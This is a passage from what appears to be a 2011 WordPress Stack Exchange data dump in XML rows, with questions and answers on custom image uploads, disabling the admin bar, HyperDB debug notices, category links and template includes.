wordpress*/&#xA;&#xA; if (is_writable($uploads['path']))  /*Check if upload dir is writable*/&#xA; {&#xA;  if ((!empty($upload['tmp_name'])))  /*Check if uploaded image is not empty*/&#xA;  {&#xA;   if ($upload['tmp_name'])   /*Check if image has been uploaded in temp directory*/&#xA;   {&#xA;    $file=handle_image_upload($upload); /*Call our custom function to ACTUALLY upload the image*/&#xA;&#xA;    $attachment = array  /*Create attachment for our post*/&#xA;    (&#xA;      'post_mime_type' =&amp;gt; $file['type'],  /*Type of attachment*/&#xA;      'post_parent' =&amp;gt; $post_id,  /*Post id*/&#xA;    );&#xA;&#xA;    $aid = wp_insert_attachment($attachment, $file['file'], $post_id);  /*Insert post attachment and return the attachment id*/&#xA;    $a = wp_generate_attachment_metadata($aid, $file['file'] );  /*Generate metadata for new attacment*/&#xA;    $prev_img = get_post_meta($post_id, 'custom_image');  /*Get previously uploaded image*/&#xA;    if(is_array($prev_img))&#xA;    {&#xA;     if($prev_img[0] != '')  /*If image exists*/&#xA;     {&#xA;      wp_delete_attachment($prev_img[0]);  /*Delete previous image*/&#xA;     }&#xA;    }&#xA;    update_post_meta($post_id, 'custom_image', $aid);  /*Save the attachment id in meta data*/&#xA;&#xA;    if ( !is_wp_error($aid) ) &#xA;    {&#xA;     wp_update_attachment_metadata($aid, wp_generate_attachment_metadata($aid, $file['file'] ) );  /*If there is no error, update the metadata of the newly uploaded image*/&#xA;    }&#xA;   }&#xA;  }&#xA;  else&#xA;  {&#xA;   echo 'Please upload the image.';&#xA;  }&#xA; }&#xA;}&#xA;&#xA;function handle_image_upload($upload)&#xA;{&#xA; global $post;&#xA;&#xA;        if (file_is_displayable_image( $upload['tmp_name'] )) /*Check if image*/&#xA;        {&#xA;    /*handle the uploaded file*/&#xA;            $overrides = array('test_form' =&amp;gt; false);&#xA;            $file=wp_handle_upload($upload, $overrides);&#xA;        }&#xA; return $file;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4292" LastActivityDate="2011-03-29T12:13:20.667" CommentCount="1" />
  <row Id="13384" PostTypeId="2" ParentId="12339" CreationDate="2011-03-29T12:19:50.380" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.webspeaks.in/2011/03/custom-image-upload-in-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;Watch complete tutorial here:&lt;strong&gt;http://www.webspeaks.in/2011/03/custom-image-upload-in-wordpress.html&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML Markup:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;  &amp;lt;label for=&quot;custom-upload&quot;&amp;gt;Upload New Image:&amp;lt;/label&amp;gt;&#xA;&#xA;  &amp;lt;input type=&quot;file&quot; tabindex=&quot;3&quot; name=&quot;custom-upload&quot; id=&quot;custom-upload&quot; /&amp;gt;&#xA; &amp;lt;/p&amp;gt;&#xA; &amp;lt;?php&#xA;  /*Retrieving the image*/&#xA;  $attachment = get_post_meta($postid, 'custom_image');&#xA;&#xA;  if($attachment[0]!='')&#xA;  {&#xA;   echo wp_get_attachment_link($attachment[0], 'thumbnail', false, false);&#xA;  }&#xA;&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Uploading the image:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $post; /*Global post object*/&#xA;&#xA;$post_id = $post-&amp;gt;ID; /*Geting current post id*/&#xA;&#xA;$upload = $_FILES['upload']; /*Receive the uploaded image from form*/&#xA;&#xA;add_custom_image($post_id, $upload); /*Call image uploader function*/&#xA;&#xA;function add_custom_image($post_id, $upload)&#xA;{&#xA; $uploads = wp_upload_dir(); /*Get path of upload dir of wordpress*/&#xA;&#xA; if (is_writable($uploads['path']))  /*Check if upload dir is writable*/&#xA; {&#xA;  if ((!empty($upload['tmp_name'])))  /*Check if uploaded image is not empty*/&#xA;  {&#xA;   if ($upload['tmp_name'])   /*Check if image has been uploaded in temp directory*/&#xA;   {&#xA;    $file=handle_image_upload($upload); /*Call our custom function to ACTUALLY upload the image*/&#xA;&#xA;    $attachment = array  /*Create attachment for our post*/&#xA;    (&#xA;      'post_mime_type' =&amp;gt; $file['type'],  /*Type of attachment*/&#xA;      'post_parent' =&amp;gt; $post_id,  /*Post id*/&#xA;    );&#xA;&#xA;    $aid = wp_insert_attachment($attachment, $file['file'], $post_id);  /*Insert post attachment and return the attachment id*/&#xA;    $a = wp_generate_attachment_metadata($aid, $file['file'] );  /*Generate metadata for new attacment*/&#xA;    $prev_img = get_post_meta($post_id, 'custom_image');  /*Get previously uploaded image*/&#xA;    if(is_array($prev_img))&#xA;    {&#xA;     if($prev_img[0] != '')  /*If image exists*/&#xA;     {&#xA;      wp_delete_attachment($prev_img[0]);  /*Delete previous image*/&#xA;     }&#xA;    }&#xA;    update_post_meta($post_id, 'custom_image', $aid);  /*Save the attachment id in meta data*/&#xA;&#xA;    if ( !is_wp_error($aid) ) &#xA;    {&#xA;     wp_update_attachment_metadata($aid, wp_generate_attachment_metadata($aid, $file['file'] ) );  /*If there is no error, update the metadata of the newly uploaded image*/&#xA;    }&#xA;   }&#xA;  }&#xA;  else&#xA;  {&#xA;   echo 'Please upload the image.';&#xA;  }&#xA; }&#xA;}&#xA;&#xA;function handle_image_upload($upload)&#xA;{&#xA; global $post;&#xA;&#xA;        if (file_is_displayable_image( $upload['tmp_name'] )) /*Check if image*/&#xA;        {&#xA;    /*handle the uploaded file*/&#xA;            $overrides = array('test_form' =&amp;gt; false);&#xA;            $file=wp_handle_upload($upload, $overrides);&#xA;        }&#xA; return $file;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4292" LastActivityDate="2011-03-29T12:19:50.380" />
  <row Id="13385" PostTypeId="2" ParentId="11920" CreationDate="2011-03-29T12:34:39.277" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.webspeaks.in/2011/03/custom-image-upload-in-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;Watch complete tutorial here:&lt;strong&gt;http://www.webspeaks.in/2011/03/custom-image-upload-in-wordpress.html&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML Markup:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;  &amp;lt;label for=&quot;custom-upload&quot;&amp;gt;Upload New Image:&amp;lt;/label&amp;gt;&#xA;&#xA;  &amp;lt;input type=&quot;file&quot; tabindex=&quot;3&quot; name=&quot;custom-upload&quot; id=&quot;custom-upload&quot; /&amp;gt;&#xA; &amp;lt;/p&amp;gt;&#xA; &amp;lt;?php&#xA;  /*Retrieving the image*/&#xA;  $attachment = get_post_meta($postid, 'custom_image');&#xA;&#xA;  if($attachment[0]!='')&#xA;  {&#xA;   echo wp_get_attachment_link($attachment[0], 'thumbnail', false, false);&#xA;  }&#xA;&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Uploading the image:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $post; /*Global post object*/&#xA;&#xA;$post_id = $post-&amp;gt;ID; /*Geting current post id*/&#xA;&#xA;$upload = $_FILES['upload']; /*Receive the uploaded image from form*/&#xA;&#xA;add_custom_image($post_id, $upload); /*Call image uploader function*/&#xA;&#xA;function add_custom_image($post_id, $upload)&#xA;{&#xA; $uploads = wp_upload_dir(); /*Get path of upload dir of wordpress*/&#xA;&#xA; if (is_writable($uploads['path']))  /*Check if upload dir is writable*/&#xA; {&#xA;  if ((!empty($upload['tmp_name'])))  /*Check if uploaded image is not empty*/&#xA;  {&#xA;   if ($upload['tmp_name'])   /*Check if image has been uploaded in temp directory*/&#xA;   {&#xA;    $file=handle_image_upload($upload); /*Call our custom function to ACTUALLY upload the image*/&#xA;&#xA;    $attachment = array  /*Create attachment for our post*/&#xA;    (&#xA;      'post_mime_type' =&amp;gt; $file['type'],  /*Type of attachment*/&#xA;      'post_parent' =&amp;gt; $post_id,  /*Post id*/&#xA;    );&#xA;&#xA;    $aid = wp_insert_attachment($attachment, $file['file'], $post_id);  /*Insert post attachment and return the attachment id*/&#xA;    $a = wp_generate_attachment_metadata($aid, $file['file'] );  /*Generate metadata for new attacment*/&#xA;    $prev_img = get_post_meta($post_id, 'custom_image');  /*Get previously uploaded image*/&#xA;    if(is_array($prev_img))&#xA;    {&#xA;     if($prev_img[0] != '')  /*If image exists*/&#xA;     {&#xA;      wp_delete_attachment($prev_img[0]);  /*Delete previous image*/&#xA;     }&#xA;    }&#xA;    update_post_meta($post_id, 'custom_image', $aid);  /*Save the attachment id in meta data*/&#xA;&#xA;    if ( !is_wp_error($aid) ) &#xA;    {&#xA;     wp_update_attachment_metadata($aid, wp_generate_attachment_metadata($aid, $file['file'] ) );  /*If there is no error, update the metadata of the newly uploaded image*/&#xA;    }&#xA;   }&#xA;  }&#xA;  else&#xA;  {&#xA;   echo 'Please upload the image.';&#xA;  }&#xA; }&#xA;}&#xA;&#xA;function handle_image_upload($upload)&#xA;{&#xA; global $post;&#xA;&#xA;        if (file_is_displayable_image( $upload['tmp_name'] )) /*Check if image*/&#xA;        {&#xA;    /*handle the uploaded file*/&#xA;            $overrides = array('test_form' =&amp;gt; false);&#xA;            $file=wp_handle_upload($upload, $overrides);&#xA;        }&#xA; return $file;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4292" LastActivityDate="2011-03-29T12:34:39.277" />
  <row Id="13386" PostTypeId="2" ParentId="13353" CreationDate="2011-03-29T13:13:30.427" Score="0" ViewCount="" Body="&lt;p&gt;Haven't used the function for quite a time, but i guess your problem is that you are pushing an array into an array. So check if &lt;code&gt;intval($_GET['auction'])&lt;/code&gt; is an array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;pre&amp;gt;';&#xA;print_r(intval($_GET['auction']));&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit #1:&lt;/strong&gt; You maybe need to get the value from that array and then array_push it. So maybe something like &lt;code&gt;array_push( $reminders, $_GET['auction'][0]) );&lt;/code&gt; - if you're only adding one single value. You could also do something like &lt;code&gt;$reminders[] = $_GET['auction'][0];&lt;/code&gt; to add it to the end of your array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit #2:&lt;/strong&gt; From a look at the core file: yes. &lt;code&gt;update_user_meta()&lt;/code&gt; is just an alias of &lt;code&gt;update_metadata()&lt;/code&gt; which takes the ID + the value and puts it into the database as and array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// From /wp-includes/meta.php ~ line 135&#xA;$where = array( $column =&amp;gt; $object_id, 'meta_key' =&amp;gt; $meta_key );&#xA;&#xA;if ( !empty( $prev_value ) ) {&#xA;    $prev_value = maybe_serialize($prev_value);&#xA;    $where['meta_value'] = $prev_value;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-29T16:47:28.153" LastActivityDate="2011-03-29T16:47:28.153" CommentCount="2" />
  <row Id="13387" PostTypeId="1" CreationDate="2011-03-28T16:39:59.870" Score="0" ViewCount="39" Body="&lt;p&gt;I have a post type called members, which has a field called &quot;business-type&quot;. To display the members on the page sorted by business type I'm doing the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('post_type=members&amp;amp;meta_key=business_type&amp;amp;orderby=meta_value&amp;amp;order=ASC&amp;amp;posts_per_page=100'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want the business-types to be ordered by their option string, not their option value. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;business_type&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;1&quot;&amp;gt;none&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;2&quot;&amp;gt;Residential&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;3&quot;&amp;gt;Banking&amp;lt;/option&amp;gt;&#xA;        .....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to do this is appreciated. thanks&lt;/p&gt;&#xA;" LastActivityDate="2011-03-29T13:17:38.820" Title="Using Easy Post Types sorting by value in option string instead of option value" Tags="&lt;php&gt;&lt;mysql&gt;" CommentCount="1" />
  <row Id="13388" PostTypeId="2" ParentId="13380" CreationDate="2011-03-29T13:31:23.660" Score="0" ViewCount="" Body="&lt;p&gt;Hey after activating the WP_DEBUG I have found that I am not using '' (inverted comma)  when defining db info on db-config.php. After inserting the values successfully The site is loading and now I am testing is hyper db is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but one problem is I am getting this warnning message (as WP_DEBUG is true)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;Notice: Undefined variable: use_master in /var/www/html/wp-content/db.php on line 362&#xA;&#xA;Notice: Undefined property: hyperdb::$write in /var/www/html/wp-content/db.php on line 432&#xA;&#xA;Notice: Undefined offset: 1 in /var/www/html/wp-content/db.php on line 467&#xA;&#xA;Notice: Undefined variable: charset in /var/www/html/wp-content/db.php on line 532&#xA;&#xA;Notice: Undefined variable: collate in /var/www/html/wp-content/db.php on line 532&#xA;&#xA;Notice: Undefined variable: use_master in /var/www/html/wp-content/db.php on line 362&#xA;&#xA;Notice: Undefined variable: use_master in /var/www/html/wp-content/db.php on line 362&#xA;&#xA;Notice: Undefined variable: use_master in /var/www/html/wp-content/db.php on line 362&#xA;&#xA;Notice: Undefined variable: use_master in /var/www/html/wp-content/db.php on line 362&#xA;&#xA;Notice: Undefined variable: use_master in /var/www/html/wp-content/db.php on line 362&#xA;&#xA;Notice: Undefined variable: use_master in /var/www/html/wp-content/db.php on line 362&#xA;&#xA;Notice: Undefined variable: use_master in /var/www/html/wp-content/db.php on line 362&#xA;&#xA;Notice: Undefined variable: use_master in /var/www/html/wp-content/db.php on line 362&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what I am missing?&lt;/p&gt;&#xA;" OwnerUserId="1581" LastActivityDate="2011-03-29T13:31:23.660" CommentCount="1" />
  <row Id="13389" PostTypeId="1" AcceptedAnswerId="13473" CreationDate="2011-03-29T13:33:24.650" Score="0" ViewCount="175" Body="&lt;p&gt;I have this code which is located on the search.php page and retrieves all the categories for each post and echo's out a link to the first category:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$category = get_the_category(); //print_r($category);&#xA;if ($category) {&#xA;  echo '&amp;lt;a href=&quot;' . get_category_link( $category[0]-&amp;gt;term_id ) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $category[0]-&amp;gt;name ) . '&quot; ' . '&amp;gt;' . $category[0]-&amp;gt;name.'&amp;lt;/a&amp;gt; ';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I need to do is use a similar code but that gets the child-most/deepest category in the array?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the array thats printed out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0] =&amp;gt; stdClass Object&#xA;    (&#xA;        [term_id] =&amp;gt; 170&#xA;        [name] =&amp;gt; ACS Series Suspended &amp;amp;amp; Crane Scales - EC Approved&#xA;        [slug] =&amp;gt; uwe-acs-series-suspended-crane-scales&#xA;        [term_group] =&amp;gt; 0&#xA;        [term_taxonomy_id] =&amp;gt; 170&#xA;        [taxonomy] =&amp;gt; category&#xA;        [description] =&amp;gt; &#xA;        [parent] =&amp;gt; 3&#xA;        [count] =&amp;gt; 4&#xA;        [object_id] =&amp;gt; 1578&#xA;        [cat_ID] =&amp;gt; 170&#xA;        [category_count] =&amp;gt; 4&#xA;        [category_description] =&amp;gt; &#xA;        [cat_name] =&amp;gt; ACS Series Suspended &amp;amp;amp; Crane Scales - EC Approved&#xA;        [category_nicename] =&amp;gt; uwe-acs-series-suspended-crane-scales&#xA;        [category_parent] =&amp;gt; 3&#xA;    )&#xA;&#xA;[1] =&amp;gt; stdClass Object&#xA;    (&#xA;        [term_id] =&amp;gt; 3&#xA;        [name] =&amp;gt; Crane Scales&#xA;        [slug] =&amp;gt; crane-scales&#xA;        [term_group] =&amp;gt; 0&#xA;        [term_taxonomy_id] =&amp;gt; 3&#xA;        [taxonomy] =&amp;gt; category&#xA;        [description] =&amp;gt; &#xA;        [parent] =&amp;gt; 0&#xA;        [count] =&amp;gt; 53&#xA;        [object_id] =&amp;gt; 1578&#xA;        [cat_ID] =&amp;gt; 3&#xA;        [category_count] =&amp;gt; 53&#xA;        [category_description] =&amp;gt; &#xA;        [cat_name] =&amp;gt; Crane Scales&#xA;        [category_nicename] =&amp;gt; crane-scales&#xA;        [category_parent] =&amp;gt; 0&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, one category has parent-&gt;3 and the other has parent-&gt;0. How do I use the above query to print out the link only for a category with parent-&gt;3?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its probably quite simple but its a bit over my head. Any help would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="912" LastActivityDate="2011-04-29T08:42:21.363" Title="get_the_category and echo out link to child-most/deepest category" Tags="&lt;categories&gt;&lt;query&gt;&lt;search&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="13390" PostTypeId="1" AcceptedAnswerId="13401" CreationDate="2011-03-29T13:34:21.590" Score="2" ViewCount="106" Body="&lt;p&gt;Every time I create a new site under 3.1, my first trip is to the Users &gt; Admin User profile page to uncheck the &quot;admin bar&quot; checkbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to place a script in my theme's functions.php to do this automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know what that would be?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-04-08T14:40:37.100" Title="How to disable 3.1 &quot;Admin Bar&quot; via script for the admin user?" Tags="&lt;theme-development&gt;&lt;php&gt;&lt;3.1&gt;&lt;admin-bar&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="13391" PostTypeId="2" ParentId="13382" CreationDate="2011-03-29T13:35:40.260" Score="1" ViewCount="" Body="&lt;p&gt;Yes, there is a risk! I can put up a check on date to change your password, create a new user and what not. Don't give access to someone you don't trust. Hire a professional to do the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Okay! Upon request, I have explained two cases in a blog post - &lt;a href=&quot;http://blog.ashfame.com/?p=903&quot; rel=&quot;nofollow&quot;&gt;http://blog.ashfame.com/?p=903&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastEditorUserId="1521" LastEditorDisplayName="" LastEditDate="2011-03-31T06:04:57.823" LastActivityDate="2011-03-31T06:04:57.823" CommentCount="9" />
  <row Id="13392" PostTypeId="2" ParentId="13390" CreationDate="2011-03-29T13:37:15.953" Score="0" ViewCount="" Body="&lt;p&gt;I believe you can activate such a plugin sitewide - &lt;a href=&quot;http://wordpress.org/extend/plugins/disable-admin-bar/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/disable-admin-bar/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-03-29T13:37:15.953" />
  <row Id="13393" PostTypeId="2" ParentId="13382" CreationDate="2011-03-29T13:39:47.030" Score="2" ViewCount="" Body="&lt;p&gt;Anyone in the IT business is exposed to private information all the time, so there has to be some trust there. The e-mail addresses of your users certainly isn't a big secret. It's not like he is going to spam them and certainly there's no money in selling a list of 80 users :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, you need some level of trust with the person you get to help you, there is more damage they could do besides stealing e-mail addresses. For example they could just install a trojan or backdoor to your blog. Yeah that is a bit paranoid but it is nonetheless a risk. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be careful to get someone who you can get some reputation info on. Or you could go to odesk.com or elance.com where a good feedback system is in place. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;On a separate note, I wouldn't set up on EC2 if you don't know how to manage and maintain linux. It is too hard keeping up with all the security issues if that isn't your area of expertise. You may want to try something like WPWebHost. We use rackspace cloud sites. It's $150/month but very fast and very reliable.&lt;/em&gt; &lt;/p&gt;&#xA;" OwnerUserId="3973" LastActivityDate="2011-03-29T13:39:47.030" CommentCount="2" />
  <row Id="13394" PostTypeId="2" ParentId="13390" CreationDate="2011-03-29T13:45:33.250" Score="0" ViewCount="" Body="&lt;p&gt;Simply set &lt;code&gt;show_admin_bar&lt;/code&gt; filter to false in your functions.php.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-29T13:45:33.250" />
  <row Id="13395" PostTypeId="2" ParentId="13390" CreationDate="2011-03-29T13:46:32.117" Score="2" ViewCount="" Body="&lt;p&gt;For functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Disable the Admin Bar for All&#xA;&#xA;add_filter( 'show_admin_bar', '__return_false' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-03-29T13:46:32.117" CommentCount="2" />
  <row Id="13396" PostTypeId="2" ParentId="13367" CreationDate="2011-03-29T13:51:03.670" Score="1" ViewCount="" Body="&lt;p&gt;You haven't given enough information, so it might have something to do with javascript conflicts, files not loading, server SMTP, etc. Best thing to do is work through the Contact Form 7 issues FAQ &lt;a href=&quot;http://contactform7.com/faq/&quot; rel=&quot;nofollow&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-03-29T13:51:03.670" />
  <row Id="13397" PostTypeId="2" ParentId="13381" CreationDate="2011-03-29T13:54:47.953" Score="1" ViewCount="" Body="&lt;p&gt;The plugin would need to support custom post types. You might be able to ask the plugin developer to add that. The custom post type API's are fairly new and still don't have widespread support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see that they are adding the meta boxes only for posts and pages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_meta_box( 'WPPostsRateKeys-Keyword', 'SEOPressor Keyword', array(&amp;amp;$this,'add_box_in_post_form'), 'post', 'normal', 'high' );     &#xA;add_meta_box( 'WPPostsRateKeys-Keyword', 'SEOPressor Keyword', array(&amp;amp;$this,'add_box_in_post_form'), 'page', 'normal', 'high' );&#xA;add_meta_box( 'seo_pressor_post_suggestions', 'SEOPressor Score', array(&amp;amp;$this, 'show_score_box'), 'page', 'side', 'high' );             &#xA;add_meta_box( 'seo_pressor_post_suggestions', 'SEOPressor Score', array(&amp;amp;$this, 'show_score_box'), 'post', 'side', 'high' );  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But without knowing how much they rely on the different post types it's hard to say how easy it would be to add those meta boxes to custom post types. &lt;/p&gt;&#xA;" OwnerUserId="3973" LastActivityDate="2011-03-29T13:54:47.953" CommentCount="1" />
  <row Id="13398" PostTypeId="2" ParentId="13288" CreationDate="2011-03-29T13:58:54.800" Score="1" ViewCount="" Body="&lt;p&gt;I found a plugin that does the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-category-archive/installation/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-category-archive/installation/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1136" LastActivityDate="2011-03-29T13:58:54.800" />
  <row Id="13399" PostTypeId="2" ParentId="13373" CreationDate="2011-03-29T14:17:22.740" Score="3" ViewCount="" Body="&lt;p&gt;The problem is that your author pages are marked with the noindex tag, look at the page source:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It must be a plugin that is doing that, that is not the default setting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want the duplicate pages, try a plugin like Yoast WordPress SEO that let you add Nofollow to comment links. &lt;/p&gt;&#xA;" OwnerUserId="3973" LastActivityDate="2011-03-29T14:17:22.740" CommentCount="3" />
  <row Id="13400" PostTypeId="2" ParentId="13363" CreationDate="2011-03-29T14:22:22.407" Score="0" ViewCount="" Body="&lt;p&gt;Here's one problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_activation_hook(_FILE_,'my_first_install');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should be this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_activation_hook(__FILE__,'my_first_install');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3973" LastActivityDate="2011-03-29T14:22:22.407" />
  <row Id="13401" PostTypeId="2" ParentId="13390" CreationDate="2011-03-29T14:29:33.837" Score="5" ViewCount="" Body="&lt;p&gt;You could use a function inside your theme's functions file to selectively disable it for specific users.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function disable_bar_for_user( $ids ) {&#xA;&#xA;    if( !is_user_logged_in() )&#xA;        return;&#xA;&#xA;    global $current_user;&#xA;&#xA;    if( is_numeric( $ids ) )&#xA;        $ids = (array) $ids;&#xA;&#xA;    if( !in_array( $current_user-&amp;gt;data-&amp;gt;ID, $ids ) )&#xA;        return;&#xA;&#xA;    add_filter( 'show_admin_bar', '__return_false', 9 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then call it for the user or users you want to disable the bar for..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Single user:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;disable_bar_for_user(1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Multiple users:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;disable_bar_for_user(array(1,2,3));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to just turn it off altogether, then the following should do it(instead of the function).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'show_admin_bar', '__return_false', 9 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-08T14:40:37.100" LastActivityDate="2011-04-08T14:40:37.100" CommentCount="1" />
  <row Id="13402" PostTypeId="2" ParentId="11603" CreationDate="2011-03-29T14:34:03.167" Score="0" ViewCount="" Body="&lt;p&gt;Odyss3us, I have read a lot about multiple queries lately and it seems there is a lot of bad practice floating around about the best way to include multiple loops in a single page. Take a look at this for reference on why you should be using WP_Query instead of query_posts. There is less risk of causing havoc using WP_Query, which query_post calls anyway. Hope this sheds some light for other readers as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/G0p04.png&quot; alt=&quot;WP_Query Functions&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4273" LastActivityDate="2011-03-29T14:34:03.167" />
  <row Id="13403" PostTypeId="1" AcceptedAnswerId="17572" CreationDate="2011-03-29T14:39:08.977" Score="0" ViewCount="66" Body="&lt;p&gt;I have a loop template called &lt;code&gt;loop-event-details.php&lt;/code&gt; where I have code to display each event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main page template is called &lt;code&gt;events-page.php&lt;/code&gt;. I use the following code to include the loop template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_template_part( 'loop', 'event-details' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also trying this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include(TEMPLATEPATH . '/loop-event-details.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when viewing a page it always complains about parsing error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected T_ENDWHILE in /&amp;lt;my_templatepath&amp;gt;/loop-event-details.php on line 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;loop&lt;/code&gt; isn't on line 1, but line 15. The code in the &lt;code&gt;loop&lt;/code&gt; file is correct, because when I copy and paste all the code from the &lt;code&gt;loop&lt;/code&gt; file into the &lt;code&gt;page&lt;/code&gt; file it all works. As soon as I try to include it with either contract (&lt;code&gt;get_template_part()&lt;/code&gt; or 